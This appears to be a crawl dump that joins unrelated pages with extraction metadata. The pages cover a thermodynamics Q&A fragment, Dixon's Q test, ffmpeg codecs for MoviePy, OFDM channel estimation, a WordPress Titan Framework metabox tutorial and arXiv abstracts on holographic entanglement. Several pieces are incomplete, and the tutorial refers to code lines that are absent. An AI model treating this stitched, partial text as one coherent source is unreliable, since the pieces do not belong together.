capacity and thermal expansion coefficient of steam (as functions of $T$ and $p$, though I'd guess they're pretty constant over that range) in addition to the data you posted. This would certainly come out positive, and a lower value would mean a more efficient turbine, with $\Delta S_\text{total}$ approaching zero in the reversible limit. - The absolute value of the Gibbs free energy decreases as the spontaneous process happens. The negative value represents the spontaneity of expansion. The more negative (smaller) the G, the more work you can obtain from the system. So as work is done on the surroundings, G becomes closer to zero, and in this case increases. - I don't think this is correct. A negative value of Gibbs free energy is just an artifact of what datum basis was chosen for enthalpy and entropy (in this case it is the triple point of water in the liquid phase). Moreover, the Gibbs free energy decreases which is the counterintuitive part. Approaching zero again doesn't hold any special meaning. –  Jason Waldrop Feb 27 '12 at 18:12
2014-10-25 19:12:04
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8816393613815308, "perplexity": 198.3425205945355}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-42/segments/1414119649133.8/warc/CC-MAIN-20141024030049-00298-ip-10-16-133-185.ec2.internal.warc.gz"}
http://en.wikipedia.org/wiki/Dixon's_Q_test
# Dixon's Q test In statistics, Dixon's Q test, or simply the Q test, is used for identification and rejection of outliers. This assumes normal distribution and per Dean and Dixon, and others, this test should be used sparingly and never more than once in a data set. To apply a Q test for bad data, arrange the data in order of increasing values and calculate Q as defined: $Q = \frac{\text{gap}}{\text{range}}$ Where gap is the absolute difference between the outlier in question and the closest number to it. If Q > Qtable, where Qtable is a reference value corresponding to the sample size and confidence level, then reject the questionable point. Note that only one point may be rejected from a data set using a Q test. ## Example Consider the data set: $0.189,\ 0.167,\ 0.187,\ 0.183,\ 0.186,\ 0.182,\ 0.181,\ 0.184,\ 0.181,\ 0.177 \,$ Now rearrange in increasing order: $0.167,\ 0.177,\ 0.181,\ 0.181,\ 0.182,\ 0.183,\ 0.184,\ 0.186,\ 0.187,\ 0.189 \,$ We hypothesize 0.167 is an outlier. Calculate Q: $Q=\frac{\text{gap}}{\text{range}} = \frac{0.177-0.167}{0.189-0.167}=0.455.$ With 10 observations and at 90% confidence, Q = 0.455 > 0.412 = Qtable, so we conclude 0.167 is an outlier. However, at 95% confidence, Q = 0.455 < 0.466 = Qtable 0.167 is not considered an outlier. This means that for this example we can be 90% sure that 0.167 is an outlier, but we cannot be 95% sure. ## Table This table summarizes the limit values of the test. Number of values: 3 4 5 6 7 8 9 10 Q90%: 0.941 0.765 0.642 0.56 0.507 0.468 0.437 0.412 Q95%: 0.97 0.829 0.71 0.625 0.568 0.526 0.493 0.466 Q99%: 0.994 0.926 0.821 0.74 0.68 0.634 0.598 0.568
2014-07-23 16:47:36
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 4, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7718736529350281, "perplexity": 508.52210313097527}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-23/segments/1405997880800.37/warc/CC-MAIN-20140722025800-00054-ip-10-33-131-23.ec2.internal.warc.gz"}
https://www.tutorialexample.com/a-full-list-of-codecs-supported-by-ffmpeg-python-moviepy-tutorial/
# A Full List of codecs Supported by ffmpeg – Python MoviePy Tutorial By | October 9, 2020 When you are using python moviepy to write video files, you should know what codecs supported by ffmpeg. These codecs is also supported by python moviepy. In this tutorial, we will give you a full list. ## Preliminary We often use VideoClip.write_videofile() to write a video file. This function is defined as: def write_videofile(self, filename, fps=None, codec=None, bitrate=None, audio=True, audio_fps=44100, preset="medium", audio_nbytes=4, audio_codec=None, audio_bitrate=None, audio_bufsize=2000, temp_audiofile=None, rewrite_audio=True, remove_temp=True, write_logfile=False, verbose=True, logger='bar'): As to some video type, for example, avi video. You should set a codec parameter. What is this value? This codec will be passed into ffmpeg. We can use codecs supported by ffmpeg. ## A full list of codecs supported by ffmpeg If you have installed ffmpeg in your computer. You can use command below to list all codecs supported by ffmpeg. ffmpeg -codecs Here is an example: Moreover, you also can find these codecs here. https://ffmpeg.org/ffmpeg-codecs.html
2022-05-17 04:40:19
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.2360849827528, "perplexity": 9610.034485245844}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662515501.4/warc/CC-MAIN-20220517031843-20220517061843-00171.warc.gz"}
https://dsp.stackexchange.com/questions/67083/on-the-channel-estimation-based-on-vector
# On the channel estimation based on vector I have a matrix $$X$$ of size .i.e $$(8,8)$$ with $$M$$ columns and $$N$$ rows. Suppose I took it's $$iFFT$$ column wise resulting matrix $$x$$ of size $$(8,8)$$ too, $$x = F^HX_{(:,m)},$$ ...... (1), where $$F^H$$ is Fourier matrix which is complex numbers and $$m = 0,1,....M-1$$ the selected column. After organizing signal $$x$$ in row-wise, $$x' = [x_0, x_1, ....,x_N]$$ where $$x_k$$ denotes the $$k^{th}$$-row of matrix $$x$$. Then, after convolution with channel $$h$$, the resulted signal can be written as : $$y = h⨂x'$$ , ...... (2), where $$⨂$$ denotes the convolution operation. Then by converting $$y$$ into frequency domain: $$Y = HX'$$ , ...... (3), where $$Y, H$$ and $$X'$$ are the frequency-domain signal of $$y,h$$ and $$x'$$, respectively. To estimate the channel $$h$$ based on $$Y$$, it's straightforward by performing $$h = iFFT(Y/x')$$, and $$x'$$ is equal to $$x$$ reshaped in row-wise. The problem is I don't want to use all matrix $$x$$ as pilots. I need to estimate $$h$$ based on some pilot vectors in matrix $$x$$, which means the pilots vectors in matrix $$x$$ are $$x_p = x(1:4:N,:)$$ and $$x_p$$ is the pilot vectors here. So how can I get the relationship between pilots vectors in $$x$$ and their correspondent in $$Y$$ based on $$Eq.(3)$$? Which means how can I estimate the channel $$h$$ based on vectors row in matrix $$X$$? • There is no notion of symbol in the above definition. So I ask, how would you tansmit x, do you transmit one coloumn at a time with N subcarriers? – Dsp guy sam May 1 '20 at 11:49 • I detail how to do channel estimation using the Wiener-Hopf equations here: dsp.stackexchange.com/questions/31318/… (with the received vector, transmit vector, you solve for the autocorrelation matrix and cross correlation vector of the two and from that get a least squared estimate of the channel) does that answer you question? – Dan Boschen May 1 '20 at 13:14 • @Dspguysam $x$ is representing one symbol here with $K=NM$ subcarriers – Fatima_Ali May 1 '20 at 15:05 • @DanBoschen Thank you for your reply. I have checked that estimation way you provided, that doesn't answer my question because my question requires to get the relationship between input and output vectors. As I mentions above, I start taking the $iFFT$ column wise and then collect the vector in row-wise, so how can I get the relationship between input and output pilot data first? – Fatima_Ali May 1 '20 at 15:09 • I see- why can't you divide Y[k]/x'[k] for each bin that you have a pilot? Is it that you actually have multiple pilots per bin? – Dan Boschen May 1 '20 at 15:43
2021-03-08 03:00:27
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 40, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7565212249755859, "perplexity": 654.9721803013231}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178381803.98/warc/CC-MAIN-20210308021603-20210308051603-00596.warc.gz"}
https://code.tutsplus.com/articles/a-beginners-guide-to-titan-framework-creating-a-metabox-with-titan--cms-24391
Unlimited Plugins, WordPress themes, videos & courses! Unlimited asset downloads! From $16.50/m Advertisement # A Beginners Guide to Titan Framework: Creating a Metabox With Titan Read Time:6 minsLanguages: Titan Framework has really eased the tedious task of creating metaboxes in your web development project. Before Titan Framework, I had to write some very lengthy piece of code to display metaboxes within the post and/or page editing screens. Now it makes the process really easy, and that's what I am going to discuss today. So, let's learn how to create a metabox with Titan Framework. ## Creating a Metabox in Titan Before I dive into this topic, let's assume that you have: • a working demo website with WordPress installed • Titan Framework plugin installed and activated or embedded in this demo website • the titan-framework-checker.php file included in your project Once again I'm referring to my theme called Neat for the code which I'll be using here. In previous articles, I explained that the theme's template files have been organised in such a way that there is a separate folder for admin-related stuff inside the assets folder. This further contains a file for the code of metaboxes, i.e. metabox-options-init.php, which is located here: assets/admin/titanframework/metabox-options-init.php. So, here's the code which will add a metabox on the editing screens of all the post types we mentioned, which were: • page • post • my_custom_post_type, which is meant to be the name of any custom post type Right in the beginning are a few commented lines which provide you with some of the helping links you may go through in relation to the development of metaboxes. Below it is an add_action() function that takes on the tf_create_options hook which registers the aa_metabox_options function for adding options inside the metabox. Next (line 14) I've defined a function to envelop our metabox code, i.e. aa_metabox_options. This contains the entire functionality needed to create our metabox. The process starts by getting a unique instance of Titan Framework and registering it in the $titan variable (at line 17). Calling the getInstance() function is an integral part of Titan and is needed in every new routine or file where you make use of Titan Framework. This function carries a unique parameter, ideally your theme name to initialize Titan in your project. That is why I've used 'neat' as my unique name. I have explained it in detail in a previous article too. Line 23 of this code is where I created the metabox. With Titan Framework, you can use the createMetaBox() function to add metaboxes in your themes/plugins. So, according to this line of code I'm creating a $aa_metbox metabox in Titan Framework. Note one other thing: the createMetaBox() function gets an array of parameters which can take parameters like name, desc, post_type, etc. So, making use of these I've named this metabox 'Metabox Options' (line 24). Hence, it will appear with this name in my page and post editing screen. The last line (line 25) of this code attaches this newly created metabox to all the post types I mention. post_type is again a parameter which specifies in which post type(s) this metabox will be displayed. In the case of my code, I am displaying it on all pages and posts, and at my_custom_post_type. Also note that this parameter takes up an array if you need to use the metabox on multiple post types. But it can also be a string for when you need to use the metabox only for one post type, e.g. 'post_type' => 'page'. Now go to your WordPress dashboard and click Add New menu in Posts. Scroll down and you'll find a metabox named Metabox Options. Here is the screenshot for it: Do the same for any page or custom post type of your website, and you'll find the same metabox there as well. This metabox is empty at the moment. So, let's add options in it. ### Adding Options Inside a Metabox Just copy and paste these lines right below the code written above. Creating options in Titan is not something new to you. I've once again used the createOption() function to add options. But what you should note is line 9, which also specifies where to create this option, i.e. inside $aa_metbox. So, I've created a text type field inside the metabox named 'My Text Option' whose ID is aa_mb_txt The above screenshot is the result of my development so far. But this time, it is of a page. You can clearly find the Metabox Options box which has a My Text Option field in it. So, what's left? Printing the output on the front-end after retrieving the value. Let's do that now! ### Getting the Saved Values Now, I will retrieve the saved values at the front-end for the page in the above screenshot. Here you go: Here the getOption() function (line 10) carries two parameters. One is the unique ID of the option, i.e. aa_mb_txt, and the second is the get_the_ID_() function. I've used get_the_ID() because the metabox was created for all the post types which we defined. If you need to get the value of a metabox option for a specific page/post, then you will give the getOptions() function the ID of that specific post/page. The result is saved in \$aa_mb_txt_val. Next a paragraph is created (line 19) within which I've used the echo command to print the output via aa_mb_txt_val Let's suppose I entered AA-Text-Option in the metabox and published the page. And voila, everything works like a charm. ## Conclusion Now you know how to create meta boxes with Titan Framework. You do realize how simple it is. In the upcoming articles of this series, I will be writing about how to create a particular option type with Titan Framework in a meta box. There I will assume the fact that you already know how to create the meta box itself. So, it is vital for you to try this out. In the next article, I will create theme customizer sections and panels with options—how cool is that? Until then, if you have any questions let me know via comments or reach out to me at Twitter.
2021-10-21 19:57:18
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.1982114166021347, "perplexity": 1682.6385427064865}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585441.99/warc/CC-MAIN-20211021195527-20211021225527-00449.warc.gz"}
https://www.vcalc.com/wiki/MichaelBartmess/Polar+Equation+of+a+Conic+Section
# Polar Equation of a Conic Section Not Reviewed r = Tags: Rating ID MichaelBartmess.Polar Equation of a Conic Section UUID 444768c1-e301-11e3-b7aa-bc764e2038f2 This equation computes the magnitude of the position vector for a satellite in terms of the satellite's location in its orbit.  This equation is based on the two-body equation of motion for the satellite orbiting the Earth. The inputs are: • a - the semi-major axis of the ellipse • e - the eccentricity of the orbit • nu - the polar angle or true anomaly
2019-07-22 20:51:19
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7661442756652832, "perplexity": 928.4727564210018}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-30/segments/1563195528220.95/warc/CC-MAIN-20190722201122-20190722223122-00068.warc.gz"}
https://www.physicsforums.com/threads/condensed-matter-physics-area-laws-lqg.376399/page-14
# Condensed matter physics, area laws & LQG? #### atyy http://arxiv.org/abs/1604.00354 (Submitted on 1 Apr 2016) The Ryu-Takayanagi (RT) formula relates the entanglement entropy of a region in a holographic theory to the area of a corresponding bulk minimal surface. Using the max flow-min cut principle, a theorem from network theory, we rewrite the RT formula in a way that does not make reference to the minimal surface. Instead, we invoke the notion of a "flow", defined as a divergenceless norm-bounded vector field, or equivalently a set of Planck-thickness "bit threads". The entanglement entropy of a boundary region is given by the maximum flux out of it of any flow, or equivalently the maximum number of bit threads that can emanate from it. The threads thus represent entanglement between points on the boundary, and naturally implement the holographic principle. As we explain, this new picture clarifies several conceptual puzzles surrounding the RT formula. We give flow-based proofs of strong subadditivity and related properties; unlike the ones based on minimal surfaces, these proofs correspond in a transparent manner to the properties' information-theoretic meanings. We also briefly discuss certain technical advantages that the flows offer over minimal surfaces. In a mathematical appendix, we review the max flow-min cut theorem on networks and on Riemannian manifolds, and prove in the network case that the set of max flows varies Lipshitz continuously in the network parameters. http://arxiv.org/abs/1604.00388 Dynamics of the Area Law of Entanglement Entropy Stefan Leichenauer, Mudassir Moosa, Michael Smolkin (Submitted on 1 Apr 2016) We study the evolution of the universal area law of entanglement entropy when the Hamiltonian of the system undergoes a time dependent perturbation. In particular, we derive a general formula for the time dependent first order correction to the area law under the assumption that the field theory resides in a vacuum state when a small time-dependent perturbation of a relevant coupling constant is turned on. Using this formula, we carry out explicit calculations in free field theories deformed by a time dependent mass, whereas for a generic QFT we show that the time dependent first order correction is governed by the spectral function defining the two-point correlation function of the trace of the energy-momentum tensor. We also carry out holographic calculations based on the HRT proposal and find qualitative and, in certain cases, quantitative agreement with the field theory calculations. #### atyy http://arxiv.org/abs/1604.01772 EPR Pairs, Local Projections and Quantum Teleportation in Holography Tokiro Numasawa, Noburo Shiba, Tadashi Takayanagi, Kento Watanabe (Submitted on 6 Apr 2016) In this paper we analyze three quantum operations in two dimensional conformal field theories (CFTs): local projection measurements, creations of partial entanglement between two CFTs, and swapping of subsystems between two CFTs. We also give their holographic duals and study time evolutions of entanglement entropy. By combining these operations, we present an analogue of quantum teleportation between two CFTs and give its holographic realization. We introduce a new quantity to probe tripartite entanglement by using local projection measurement. #### atyy http://arxiv.org/abs/1605.05751 A Holographic Dual of the Quantum Inequalities (Submitted on 18 May 2016) In this note, we establish the 2-D Quantum Inequalities - first proved by Flanagan - for all CFTs with a causal holographic dual. Following the treatment of Kelly $\&$ Wall, we establish that the Boundary Causality Condition in an asymptotic AdS spacetime implies the Quantum Inequalities on the boundary. Our results extend easily to curved spacetime and are stable under deformations of the CFT by relevant operators. We discuss higher dimensional generalizations and possible connections to recent bounds on $a/c$ in 4-D CFTs. #### atyy http://arxiv.org/abs/1605.06166 Topology and geometry cannot be measured by an operator measurement in quantum gravity David Berenstein, Alexandra Miller (Submitted on 19 May 2016) In the context of LLM geometries, we show that superpositions of classical coherent states of trivial topology can give rise to new classical limits where the topology of spacetime has changed. We argue that this phenomenon implies that neither the topology nor the geometry of spacetime can be the result of an operator measurement. We address how to reconcile these statements with the usual semiclassical analysis of low energy effective field theory for gravity. #### atyy http://arxiv.org/abs/1605.09396 Entanglement Entropy and Duality (Submitted on 30 May 2016) Using the algebraic approach to entanglement entropy, we study several dual pairs of lattice theories and show how the entropy is completely preserved across each duality. Our main result is that a maximal algebra of observables in a region typically dualizes to a non-maximal algebra in a dual region. In particular, we show how the usual notion of tracing out external degrees of freedom dualizes to a tracing out coupled to an additional summation over superselection sectors. We briefly comment on possible extensions of our results to more intricate dualities, including holographic ones. #### atyy http://arxiv.org/abs/1606.00621 Arpan Bhattacharyya, Zhe-Shen Gao, Ling-Yan Hung, Si-Nong Liu (Submitted on 2 Jun 2016) In this paper we study the recently proposed tensor networks/AdS correspondence. We found that the Coxeter group is a useful tool to describe tensor networks in a negatively curved space. Study- ing generic tensor network populated by perfect tensors, we find that the physical wave function generically do not admit any connected correlation functions of local operators. To remedy the problem, we assume that wavefunctions admitting such semi-classical gravitational interpretation are composed of tensors close to, but not exactly perfect tensors. Computing corrections to the connected two point correlation functions, the leading contribution is given by structures related to geodesics connecting the operators inserted at the boundary physical dofs. Such considerations admits generalizations at least to three point functions. This is highly suggestive of the emergence of the analogues of Witten diagrams in the tensor network. The perturbations alone however do not give the right entanglement spectrum. Using the Coxeter construction, we also constructed the tensor network counterpart of the BTZ black hole, by orbifolding the discrete lattice on which the network resides. We found that the construction naturally reproduces some of the salient features of the BTZ black hole, such as the appearance of RT surfaces that could wrap the horizon, depending on the size of the entanglement region A. #### atyy http://arxiv.org/abs/1606.01267 Holographic Space-time, Newton's Law and the Dynamics of Black Holes Tom Banks, Willy Fischler (Submitted on 3 Jun 2016) We revisit the construction of models of quantum gravity in d dimensional Minkowski space in terms of random tensor models, and correct some mistakes in our previous treatment of the subject. We find a large class of models in which the large impact parameter scattering scales with energy and impact parameter like Newtons law. These same models also have emergent energy, momentum and angular conservation laws, despite being based on time dependent Hamiltonians. Many of the scattering amplitudes have a Feynman diagram like structure: local interaction vertices connected by propagation of free particles (really Sterman-Weinberg jets of particles). However, there are also amplitudes where jets collide to form large meta-stable objects, with all the scaling properties of black holes: energy, entropy and temperature, as well as the characteristic time scale for the decay of perturbations. We generalize the conjecture of Sekino and Susskind, to claim that all of these models are fast scramblers. The rationale for this claim is that the interactions are invariant under fuzzy subgroups of the group of volume preserving diffeomorphisms, so that they are highly non-local on the holographic screen. We review how this formalism resolves the Firewall Paradox. #### atyy http://arxiv.org/abs/1605.07768 Holographic fluctuations and the principle of minimal complexity Wissam Chemissany, Tobias J. Osborne (Submitted on 25 May 2016) We discuss, from a quantum information perspective, recent proposals of Maldacena, Ryu, Takayanagi, van Raamsdonk, Swingle, and Susskind that spacetime is an emergent property of the quantum entanglement of an associated boundary quantum system. We review the idea that the informational principle of minimal complexity determines a dual holographic bulk spacetime from a minimal quantum circuit U preparing a given boundary state from a trivial reference state. We describe how this idea may be extended to determine the relationship between the fluctuations of the bulk holographic geometry and the fluctuations of the boundary low-energy subspace. In this way we obtain, for every quantum system, an Einstein-like equation of motion for what might be interpreted as a bulk gravity theory dual to the boundary system. #### atyy http://arxiv.org/abs/1606.04537 Linearity of Holographic Entanglement Entropy Ahmed Almheiri, Xi Dong, Brian Swingle (Submitted on 14 Jun 2016) We consider the question of whether the leading contribution to the entanglement entropy in holographic CFTs is truly given by the expectation value of a linear operator as is suggested by the Ryu-Takayanagi formula. We investigate this property by computing the entanglement entropy, via the replica trick, in states dual to superpositions of macroscopically distinct geometries and find it consistent with evaluating the expectation value of the area operator within such states. However, we find that this fails once the number of semi-classical states in the superposition grows exponentially in the central charge of the CFT. Moreover, in certain such scenarios we find that the choice of surface on which to evaluate the area operator depends on the density matrix of the entire CFT. This nonlinearity is enforced in the bulk via the homology prescription of Ryu-Takayanagi. We thus conclude that the homology constraint is not a linear property in the CFT. We also discuss the existence of entropy operators in general systems with a large number of degrees of freedom. #### atyy http://arxiv.org/abs/1606.04951 Precision lattice test of the gauge/gravity duality at large-N Evan Berkowitz, Enrico Rinaldi, Masanori Hanada, Goro Ishiki, Shinji Shimasaki, Pavlos Vranas (Submitted on 15 Jun 2016) We pioneer a systematic, large-scale lattice simulation of D0-brane quantum mechanics. The large-N and continuum limits of the gauge theory are taken for the first time at various temperatures 0.4≤T≤1.0. As a way to directly test the gauge/gravity duality conjecture we compute the internal energy of the black hole directly from the gauge theory and reproduce the coefficient of the supergravity result E/N2=7.41T14/5. This is the first confirmation of the supergravity prediction for the internal energy of a black hole at finite temperature coming directly from the dual gauge theory. We also constrain stringy corrections to the internal energy. #### atyy http://arxiv.org/abs/1605.05999 Thermal geometry from CFT at finite temperature Wen-Cong Gan, Fu-Wen Shu, Meng-He Wu (Submitted on 19 May 2016) We present how the thermal geometry emerges from CFT at finite temperature by using the truncated entanglement renormalization network, the cMERA. For the case of 2d CFT, the reduced geometry is the BTZ black hole or the thermal AdS as expectation. In order to determine which spacetimes prefer to form, we propose a cMERA description of the Hawking-Page phase transition. Our proposal is in agreement with the picture of the recent proposed surface/state correspondence. http://arxiv.org/abs/1606.07628 Emergent geometry, thermal CFT and surface/state correspondence Wen-Cong Gan, Fu-Wen Shu, Meng-He Wu (Submitted on 24 Jun 2016) We study a conjectured correspondence between any codimension two convex surface and a quantum state (SS-duality for short). By generalizing thermofield double formalism to continuum version of the multi-scale entanglement renormalization ansatz (cMERA) and using the SS-duality, we propose a general framework to emerge the thermal geometry from CFT at finite temperature. As an example, the case of 2d CFT is considered carefully. We calculate its information metric and show that it is the BTZ black hole or the thermal AdS as expectation. #### atyy http://arxiv.org/abs/1607.03510 Holographic Space-time Models of Anti-deSitter Space-times Tom Banks, Willy Fischler (Submitted on 12 Jul 2016) http://arxiv.org/abs/1607.03605 Explicit reconstruction of the entanglement wedge Jung-Wook Kim (Submitted on 13 Jul 2016) The problem of bulk locality, or how the boundary encodes the bulk in AdS/CFT, is still a subject of study today. One of the major issues that needs more elucidation is the problem of subregion duality; what information of the bulk a given boundary subregion encodes. Although proofs given by two teams of researchers, Dong, Harlow, and Wall and Bao, and Kim, state that the entanglement wedge of the bulk should be reconstructible from boudnary subregions, no explicit procedure for reconstructing the entanglement wedge was as of yet given. In this paper, mode sum approach to obtaining smearing functions is generalised to include bulk reconstruction in the entanglement wedge of boundary subregions. It is generally expectated that solutions to the wave equation on a complicated coordinate patch are needed, but this hard problem has been transferred to a less hard but tractable problem of matrix inversion. #### atyy http://arxiv.org/abs/1607.03901 The Ryu-Takayanagi Formula from Quantum Error Correction Daniel Harlow (Submitted on 13 Jul 2016) I argue that a version of the quantum-corrected Ryu-Takayanagi formula holds in any quantum error-correcting code. I present this result as a series of theorems of increasing generality, with the final statement expressed in the language of operator-algebra quantum error correction. In AdS/CFT this gives a "purely boundary" interpretation of the formula. I also extend a recent theorem, which established entanglement-wedge reconstruction in AdS/CFT, when interpreted as a subsystem code, to the more general, and I argue more physical, case of subalgebra codes. For completeness, I include a self-contained presentation of the theory of von Neumann algebras on finite-dimensional Hilbert spaces, as well as the algebraic definition of entropy. The results confirm a close relationship between bulk gauge transformations, edge-modes/soft-hair on black holes, and the Ryu-Takayanagi formula. They also suggest a new perspective on the homology constraint, which basically is to get rid of it in a way that preserves the validity of the formula, but which removes any tension with the linearity of quantum mechanics. Moreover they suggest a boundary interpretation of the "bit threads" recently introduced by Freedman and Headrick. #### atyy http://arxiv.org/abs/1607.08881 Fusion basis for lattice gauge theory and loop quantum gravity Clement Delcamp, Bianca Dittrich, Aldo Riello (Submitted on 29 Jul 2016) We introduce a new basis for the gauge--invariant Hilbert space of lattice gauge theory and loop quantum gravity in (2+1) dimensions, the fusion basis. In doing so, we shift the focus from the original lattice (or spin--network) structure directly to that of the magnetic (curvature) and electric (torsion) excitations themselves. These excitations are classified by the irreducible representations of the Drinfel'd double of the gauge group, and can be readily "fused" together by studying the tensor product of such representations. We will also describe in detail the ribbon operators that create and measure these excitations and make the quasi--local structure of the observable algebra explicit. Since the fusion basis allows for both magnetic and electric excitations from the onset, it turns out to be a precious tool for studying the large scale structure and coarse--graining flow of lattice gauge theories and loop quantum gravity. This is in neat contrast with the widely used spin--network basis, in which it is much more complicated to account for electric excitations, i.e. for Gau\ss~constraint violations, emerging at larger scales. Moreover, since the fusion basis comes equipped with a hierarchical structure, it readily provides the language to design states with sophisticated multi--scale structures. Another way to employ this hierarchical structure is to encode a notion of subsystems for lattice gauge theories and (2+1) gravity coupled to point particles. In a follow--up work, we will exploit this notion to provide a new definition of entanglement entropy for these theories. #### atyy http://arxiv.org/abs/1608.02040 A Toy Model of Entwinement Jennifer Lin (Submitted on 5 Aug 2016) Entwinement is the entanglement entropy of a subset of gauge-variant degrees of freedom in a certain twisted state of an orbifold CFT, defined by embedding the state in a larger Hilbert space with some gauge constraints removed. We propose an intrinsically gauge-invariant, algebraic definition of entwinement. Our main piece of evidence is a computation showing that, in a spin system that resembles the orbifold CFT, the analog of entwinement is the entanglement entropy of a gauge-invariant subalgebra, which we identify. We review why entwinement is relevant for the conjecture that entanglement builds spacetime. #### haushofer I'm not sure whether this is the right topic, but here goes my question: Recently I stumbled upon the so-called Tsallis entropy (a nice discussion is given by http://iopscience.iop.org/article/10.1088/2058-7058/27/05/39/pdf). This is a generalized notion of entropy, which in a certain limit (no correlation between subsystems) reduces to the Boltzmann-Gibbs entropy, similar to how the limit v/c --> 0 of special relativity reduces to Galilean relativity. How is this reconcilable with holography? Holography is greatly motivated by the non-extensive nature of black hole entropy. Any thoughts? #### atyy http://arxiv.org/abs/1608.02932 Holographic relations in loop quantum gravity Lee Smolin (Submitted on 9 Aug 2016) It is shown that a relation between entropy and minimal area holds in loop quantum gravity, reminiscent of the Ryu-Takayanagi relation. #### atyy I'm not sure whether this is the right topic, but here goes my question: Recently I stumbled upon the so-called Tsallis entropy (a nice discussion is given by http://iopscience.iop.org/article/10.1088/2058-7058/27/05/39/pdf). This is a generalized notion of entropy, which in a certain limit (no correlation between subsystems) reduces to the Boltzmann-Gibbs entropy, similar to how the limit v/c --> 0 of special relativity reduces to Galilean relativity. How is this reconcilable with holography? Holography is greatly motivated by the non-extensive nature of black hole entropy. 